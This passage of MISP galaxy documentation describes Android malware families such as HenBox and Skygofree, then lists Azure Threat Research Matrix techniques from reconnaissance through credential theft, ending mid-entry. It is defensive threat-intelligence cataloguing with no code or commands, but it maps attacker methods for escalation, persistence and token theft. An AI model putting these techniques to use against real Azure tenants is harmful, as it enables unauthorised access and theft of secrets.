Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: *misp-galaxy:android="Expensive Wall"*

Table 461. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/

BambaPurple

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.

The tag is: *misp-galaxy:android="BambaPurple"*

Table 462. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

KoreFrog

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: *misp-galaxy:android="KoreFrog"*

Table 463. Table References

Links

https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Gaiaphish

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user's privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: *misp-galaxy:android="Gaiaphish"*

Table 464. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

RedDrop

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: *misp-galaxy:android="RedDrop"*

Table 465. Table References

Links
https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/

HenBox

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi's operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: *misp-galaxy:android="HenBox"*

Table 466. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/

MysteryBot

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: *misp-galaxy:android="MysteryBot"*

View relationships graph

MysteryBot has relationships with:

- similar: misp-galaxy:malpedia="MysteryBot" with estimative-language:likelihood-probability="likely"

Table 467. Table References

Links
https://www.bleepingcomputer.com/news/security/new-mysterybot-android-malware-packs-a-banking-trojan-keylogger-and-ransomware/

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant's functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

The tag is: *misp-galaxy:android="Skygofree"*

View relationships graph

Skygofree has relationships with:

- similar: misp-galaxy:malpedia="Skygofree" with estimative-language:likelihood-probability="likely"

Table 468. Table References

Links
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

BusyGasper

A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.

The tag is: *misp-galaxy:android="BusyGasper"*

Table 469. Table References

Links
https://www.bleepingcomputer.com/news/security/unsophisticated-android-spyware-monitors-device-sensors/

Triout

Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.

The tag is: *misp-galaxy:android="Triout"*

Table 470. Table References

Links
https://www.bleepingcomputer.com/news/security/new-android-triout-malware-can-record-phone-calls-steal-pictures/

AndroidOS_HidenAd

active adware family (detected by Trend Micro as AndroidOS_HidenAd) disguised as 85 game, TV, and remote control simulator apps on the Google Play store

The tag is: *misp-galaxy:android="AndroidOS_HidenAd"*

AndroidOS_HidenAd is also known as:

- AndroidOS_HiddenAd

Table 471. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/adware-disguised-as-game-tv-remote-control-apps-infect-9-million-google-play-users/

Razdel

The Banking Trojan found in Google Play is identified as Razdel, a variant of BankBot mobile banking Trojan. This newly observed variant has taken mobile threats to the next level incorporating: Remote access Trojan functions, SMS interception, UI (User Interface) Overlay with masqueraded pages etc.

The tag is: *misp-galaxy:android="Razdel"*

Table 472. Table References

Links
http://www.virusremovalguidelines.com/tag/what-is-bankbot
https://mobile.twitter.com/pr3wtd/status/1097477833625088000

Vulture

Vulture is an Android banking trojan found in Google Play by ThreatFabric. It uses screen recording and keylogging as main strategy to harvest login credentials.

The tag is: *misp-galaxy:android="Vulture"*

Table 473. Table References

Links
https://www.threatfabric.com/blogs/vultur-v-for-vnc.html
https://twitter.com/*icebre4ker*/status/1485651238175846400[https://twitter.com/*icebre4ker*/status/1485651238175846400]

Azure Threat Research Matrix

The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse..

Azure Threat Research Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Microsoft - Karl Fosaaen - Nestori Syynimaa - Ryan Cobb - Roberto Rodriguez - Manuel Berrueta - Jonny Johnson - Dor Edry - Ram Pliskin - Nikhil Mittal - MITRE ATT&CK

AZT101 - Port Mapping

It is possible to view the open ports on a virtual machine by viewing the Virtual Network Interface's assigned Network Security Group

The tag is: *misp-galaxy:atrm="AZT101 - Port Mapping"*

Table 474. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT101/AZT101

AZT102 - IP Discovery

It is possible to view the IP address on a resource by viewing the Virtual Network Interface

The tag is: *misp-galaxy:atrm="AZT102 - IP Discovery"*

Table 475. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT102/AZT102

AZT103 - Public Accessible Resource

A resource within Azure is accessible from the public internet.

The tag is: *misp-galaxy:atrm="AZT103 - Public Accessible Resource"*

Table 476. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT103/AZT103

AZT104 - Gather User Information

An adversary may obtain information about a User within Azure Active Directory. Details may include email addresses, first/last names, job information, addresses, and assigned roles. By default, all users are able to read other user's roles and group memberships within AAD.

The tag is: *misp-galaxy:atrm="AZT104 - Gather User Information"*

Table 477. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT104/AZT104

AZT105 - Gather Application Information

An adversary may obtain information about an application within Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT105 - Gather Application Information"*

Table 478. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT105/AZT105

AZT106 - Gather Role Information

An adversary may obtain information about a role within Azure Active Directory or within Azure Resource Manager.

The tag is: *misp-galaxy:atrm="AZT106 - Gather Role Information"*

Table 479. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106

AZT106.1 - Gather AAD Role Information

An adversary may gather role assignments within Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT106.1 - Gather AAD Role Information"*

Table 480. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-1

AZT106.2 - Gather Application Role Information

An adversary may gather information about an application role & it’s member assignments within Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT106.2 - Gather Application Role Information"*

Table 481. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-2

AZT106.3 - Gather Azure Resources Role Assignments

An adversary may gather role assignments for a specific Azure Resource, Resource Group, or Subscription.

The tag is: *misp-galaxy:atrm="AZT106.3 - Gather Azure Resources Role Assignments"*

Table 482. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-3

AZT107 - Gather Resource Data

An adversary may obtain information and data within a resource.

The tag is: *misp-galaxy:atrm="AZT107 - Gather Resource Data"*

Table 483. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT107/AZT107

AZT108 - Gather Victim Data

An adversary may access a user’s personal data if their account is compromised. This includes data such as email, OneDrive, Teams, etc.

The tag is: *misp-galaxy:atrm="AZT108 - Gather Victim Data"*

Table 484. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT108/AZT108

AZT201 - Valid Credentials

Adversaries may login to AzureAD using valid credentials. By logging in with valid credentials to an account or service principal, the adversary will assume all privileges of that account or service principal. If the account is privileged, this may lead to other tactics, such as persistence or privilege escalation.

The tag is: *misp-galaxy:atrm="AZT201 - Valid Credentials"*

Table 485. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201

AZT201.1 - User Account

By obtaining valid user credentials, an adversary may login to AzureAD via command line or through the Azure Portal.

The tag is: *misp-galaxy:atrm="AZT201.1 - User Account"*

Table 486. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201-1

AZT201.2 - Service Principal

By obtaining a valid secret or certificate, an adversary may login to AzureAD via command line.

The tag is: *misp-galaxy:atrm="AZT201.2 - Service Principal"*

Table 487. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201-2

AZT202 - Password Spraying

An adversary may potentially gain access to AzureAD by guessing a common password for multiple users.

The tag is: *misp-galaxy:atrm="AZT202 - Password Spraying"*

Table 488. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT202/AZT202

AZT203 - Malicious Application Consent

An adversary may lure a victim into giving their access to a malicious application registered in AzureAD.

The tag is: *misp-galaxy:atrm="AZT203 - Malicious Application Consent"*

Table 489. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT203/AZT203

AZT301 - Virtual Machine Scripting

Adversaries may abuse access to virtual machines by executing a script through various methods in order to gain access to the Virtual Machine.

The tag is: *misp-galaxy:atrm="AZT301 - Virtual Machine Scripting"*

Table 490. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301

AZT301.1 - RunCommand

By utilizing the 'RunCommand' feature on a Virtual Machine, an attacker can pass:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.

The tag is: *misp-galaxy:atrm="AZT301.1 - RunCommand"*

Table 491. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-1

AZT301.2 - CustomScriptExtension

By utilizing the 'CustomScriptExtension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.

The tag is: *misp-galaxy:atrm="AZT301.2 - CustomScriptExtension"*

Table 492. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2

AZT301.3 - Desired State Configuration

By utilizing the 'Desired State Configuration extension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.

The tag is: *misp-galaxy:atrm="AZT301.3 - Desired State Configuration"*

Table 493. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3

AZT301.4 - Compute Gallery Application

By utilizing Compute Gallery Applications, an attacker can pass MS-DOS or PowerShell commands to the VM as SYSTEM.

The tag is: *misp-galaxy:atrm="AZT301.4 - Compute Gallery Application"*

Table 494. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-4

AZT301.5 - AKS Command Invoke

By utilizing 'command invoke' on an Azure Kubernetes Service (AKS) cluster, an attacker can pass commands to the cluster's VM as SYSTEM

The tag is: *misp-galaxy:atrm="AZT301.5 - AKS Command Invoke"*

Table 495. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-5

AZT301.6 - Vmss Run Command

By utilizing the 'RunCommand' feature on a virtual machine scale set (Vmss), an attacker can execute a command on an instance or instances of VMs as:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.

The tag is: *misp-galaxy:atrm="AZT301.6 - Vmss Run Command"*

Table 496. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-6

AZT301.7 - Serial Console

By utilizing the serial console feature on an Azure Virtual Machine, an adversary can pass arbitrary commands.

The tag is: *misp-galaxy:atrm="AZT301.7 - Serial Console"*

Table 497. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-7

AZT302 - Serverless Scripting

Adversaries may abuse access to serverless resources that are able to execute PowerShell or Python scripts on an Azure resource.

The tag is: *misp-galaxy:atrm="AZT302 - Serverless Scripting"*

Table 498. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302

AZT302.1 - Automation Account Runbook Hybrid Worker Group

By utilizing an Automation Account configured with a Hybrid Worker Group, an attacker can execute Azure commands on any Azure VM within that Hybrid Worker Group.

The tag is: *misp-galaxy:atrm="AZT302.1 - Automation Account Runbook Hybrid Worker Group"*

Table 499. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-1

AZT302.2 - Automation Account Runbook RunAs Account

By utilizing an Automation Account configured with a RunAs account, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.

The tag is: *misp-galaxy:atrm="AZT302.2 - Automation Account Runbook RunAs Account"*

Table 500. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-2

AZT302.3 - Automation Account Runbook Managed Identity

By utilizing an Automation Account configured with a Managed Identity, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.

The tag is: *misp-galaxy:atrm="AZT302.3 - Automation Account Runbook Managed Identity"*

Table 501. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-3

AZT302.4 - Function Application

By utilizing a Function Application, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT302.4 - Function Application"*

Table 502. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-4

AZT303 - Managed Device Scripting

Adversaries may abuse access to any managed devices in AzureAD by executing PowerShell or Python scripts on them.

The tag is: *misp-galaxy:atrm="AZT303 - Managed Device Scripting"*

Table 503. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT303/AZT303

AZT401 - Privileged Identity Management Role

An adversary may escalate their privileges if their current account is eligible for role activation via Privileged Identity Management (PIM).

The tag is: *misp-galaxy:atrm="AZT401 - Privileged Identity Management Role"*

Table 504. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT401/AZT401

AZT402 - Elevated Access Toggle

An adversary may escalate their privileges from Azure AD to all Azure subscriptions in the tenant if they are a global administrator

The tag is: *misp-galaxy:atrm="AZT402 - Elevated Access Toggle"*

Table 505. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402

AZT403 - Local Resource Hijack

By modifying the .bashrc file in a CloudShell .IMG file, an adversary may escalate their privileges by injecting commands that will add an arbitrary user account to a desired role and scope.

The tag is: *misp-galaxy:atrm="AZT403 - Local Resource Hijack"*

Table 506. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT403/AZT403-1

AZT404 - Principal Impersonation

Adversaries may abuse resources that are configured with a service principal or other identity to further their access to the current or other resources.

The tag is: *misp-galaxy:atrm="AZT404 - Principal Impersonation"*

Table 507. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404

AZT404.1 - Function Application

By utilizing a Function Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.1 - Function Application"*

Table 508. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-1

AZT404.2 - Logic Application

By utilizing a Logic Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.2 - Logic Application"*

Table 509. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-2

AZT404.3 - Automation Account

By utilizing a Automation Account configured with a managed identity or RunAs account, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.3 - Automation Account"*

Table 510. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-3

AZT404.4 - App Service

By utilizing an App Service configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.4 - App Service"*

Table 511. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-4

AZT405 - Azure AD Application

Adversaries may abuse the assigned permissions on an Azure AD Application to escalate their privileges.

The tag is: *misp-galaxy:atrm="AZT405 - Azure AD Application"*

Table 512. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405

AZT405.1 - Application API Permissions

By compromising a user, user in a group, or service principal that has an application role over an application, they may be able to escalate their privileges by impersonating the associated service principal and leveraging any privileged assigned application role.

The tag is: *misp-galaxy:atrm="AZT405.1 - Application API Permissions"*

Table 513. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-1

AZT405.2 - Application Role

By compromising a service principal whose application has privileged API permissions, an attacker can escalate their privileges to a higher privileged role.

The tag is: *misp-galaxy:atrm="AZT405.2 - Application Role"*

Table 514. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-2

AZT405.3 - Application Registration Owner

By compromising an account who is an 'Owner' over an application that is configured with additional roles or API permissions, an attacker can escalate their privileges by adding a certificate or credentials & logging in as the service principal.

The tag is: *misp-galaxy:atrm="AZT405.3 - Application Registration Owner"*

Table 515. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-3

AZT501 - Account Manipulation

An adverary may manipulate an account to maintain access in an Azure tenant

The tag is: *misp-galaxy:atrm="AZT501 - Account Manipulation"*

Table 516. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501

AZT501.1 - User Account Manipulation

An adverary may manipulate a user account to maintain access in an Azure tenant

The tag is: *misp-galaxy:atrm="AZT501.1 - User Account Manipulation"*

Table 517. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-1

AZT501.2 - Service Principal Manipulation

An adverary may manipulate a service principal to maintain access in an Azure tenant

The tag is: *misp-galaxy:atrm="AZT501.2 - Service Principal Manipulation"*

Table 518. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-2

AZT501.3 - Azure VM Local Administrator Manipulation

An adverary may manipulate the local admin account on an Azure VM

The tag is: *misp-galaxy:atrm="AZT501.3 - Azure VM Local Administrator Manipulation"*

Table 519. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-3

AZT502 - Account Creation

An adversary may create an account in Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT502 - Account Creation"*

Table 520. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502

AZT502.1 - User Account Creation

An adversary may create an application & service principal in Azure Active Directory

The tag is: *misp-galaxy:atrm="AZT502.1 - User Account Creation"*

Table 521. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-1

AZT502.2 - Service Principal Creation

An adversary may create an application & service principal in Azure Active Directory

The tag is: *misp-galaxy:atrm="AZT502.2 - Service Principal Creation"*

Table 522. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-2

AZT502.3 - Guest Account Creation

An adversary may create a guest account in Azure Active Directory

The tag is: *misp-galaxy:atrm="AZT502.3 - Guest Account Creation"*

Table 523. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-3

AZT503 - HTTP Trigger

Adversaries may configure a resource with an HTTP trigger to run commands without needing authentication.

The tag is: *misp-galaxy:atrm="AZT503 - HTTP Trigger"*

Table 524. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503

AZT503.1 - Logic Application HTTP Trigger

Adversaries may configure a Logic Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.

The tag is: *misp-galaxy:atrm="AZT503.1 - Logic Application HTTP Trigger"*

Table 525. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-1

AZT503.2 - Function App HTTP Trigger

Adversaries may configure a Function Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.

The tag is: *misp-galaxy:atrm="AZT503.2 - Function App HTTP Trigger"*

Table 526. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-2

AZT503.3 - Runbook Webhook

Adversaries may create a webhook to a Runbook which allows unauthenticated access into an Azure subscription or tenant.

The tag is: *misp-galaxy:atrm="AZT503.3 - Runbook Webhook"*

Table 527. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-3

AZT503.4 - WebJob

Adversaries may create a WebJob on a App Service which allows arbitrary background tasks to be run on a set schedule

The tag is: *misp-galaxy:atrm="AZT503.4 - WebJob"*

Table 528. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-4

AZT504 - Watcher Tasks

By configurating a watcher task and a Runbook, an adversary can establish persistence by executing the Runbook on a triggered event.

The tag is: *misp-galaxy:atrm="AZT504 - Watcher Tasks"*

Table 529. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT504/AZT504

AZT505 - Scheduled Jobs

Adversaries may create a schedule for a Runbook to run at a defined interval.

The tag is: *misp-galaxy:atrm="AZT505 - Scheduled Jobs"*

Table 530. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT505/AZT505-1

AZT506 - Network Security Group Modification

Adversaries can modify the rules in a Network Security Group to establish access over additional ports.

The tag is: *misp-galaxy:atrm="AZT506 - Network Security Group Modification"*

Table 531. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT506/AZT506

AZT507 - External Entity Access

Adversaries may configure the target Azure tenant to be managed by another, externel tenant, or its users.

The tag is: *misp-galaxy:atrm="AZT507 - External Entity Access"*

Table 532. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507

AZT507.1 - Azure Lighthouse

Adversaries may utilize Azure Lighthouse to manage the target tenant from an external tenant

The tag is: *misp-galaxy:atrm="AZT507.1 - Azure Lighthouse"*

Table 533. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-1

AZT507.2 - Microsoft Partners

Adversaries may use Delegated Administrative Privileges to give themselves administrator access to the target tenant.

The tag is: *misp-galaxy:atrm="AZT507.2 - Microsoft Partners"*

Table 534. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-2

AZT507.3 - Subscription Hijack

An adversary may transfer a subscription from a target tenant to an attacker-controlled tenant. This retains the billing account setup by the target and the target tenant administrators will no longer have control over the subscription.

The tag is: *misp-galaxy:atrm="AZT507.3 - Subscription Hijack"*

Table 535. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-3

AZT507.4 - Domain Trust Modification

An adversary may add an additional identity provider or domain to maintain a backdoor into the tenant.

The tag is: *misp-galaxy:atrm="AZT507.4 - Domain Trust Modification"*

Table 536. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-4

AZT508 - Azure Policy

By configuring a policy with the 'DeployIfNotExists' definition, an adverary may establish persistence by creating a backdoor when the policy is triggered.

The tag is: *misp-galaxy:atrm="AZT508 - Azure Policy"*

Table 537. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT508/AZT508

AZT601 - Steal Managed Identity JsonWebToken

An adverary may utilize the resource's functionality to obtain a JWT for the applied Managed Identity Service Principal account.

The tag is: *misp-galaxy:atrm="AZT601 - Steal Managed Identity JsonWebToken"*

Table 538. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601

AZT601.1 - Virtual Machine IMDS Request

By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an Azure VM if they have access to execute commands on the system.

The tag is: *misp-galaxy:atrm="AZT601.1 - Virtual Machine IMDS Request"*

Table 539. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-1

AZT601.2 - Azure Kubernetes Service IMDS Request

By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an AKS Cluster if they have access to execute commands on the system.

The tag is: *misp-galaxy:atrm="AZT601.2 - Azure Kubernetes Service IMDS Request"*

Table 540. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-2

AZT601.3 - Logic Application JWT PUT Request

If a Logic App is using a Managed Identity, an adversary can modify the logic to make an HTTP POST request to reveal the Managed Identity's JWT.

The tag is: *misp-galaxy:atrm="AZT601.3 - Logic Application JWT PUT Request"*

Table 541. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-3

AZT601.4 - Function Application JWT GET Request

If a Function App is using a Managed Identity, an adversary can modify the logic respond to an HTTP GET request to reveal the Managed Identity’s JWT.

The tag is: *misp-galaxy:atrm="AZT601.4 - Function Application JWT GET Request"*

Table 542. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-4

AZT601.5 - Automation Account Runbook

If an Automation Account is using a Managed Identity, an adversary can create a Runbook to request the Managed Identity’s JWT.

The tag is: *misp-galaxy:atrm="AZT601.5 - Automation Account Runbook"*

Table 543. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-5

AZT602 - Steal Service Principal Certificate

If a Runbook is utilizing a 'RunAs' account, then an adversary may manipulate the Runbook to reveal the certificate the Service Principal is using for authentication.

The tag is: *misp-galaxy:atrm="AZT602 - Steal Service Principal Certificate"*

Table 544. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT602/AZT602-1

AZT603 - Service Principal Secret Reveal

If a Function App is using a service principal for authentication, an adversary may manipulate the function app logic to reveal the service principal’s secret in plain text.

The tag is: *misp-galaxy:atrm="AZT603 - Service Principal Secret Reveal"*

Table 545. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT603/AZT603-1

AZT604 - Azure KeyVault Dumping

An adverary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.

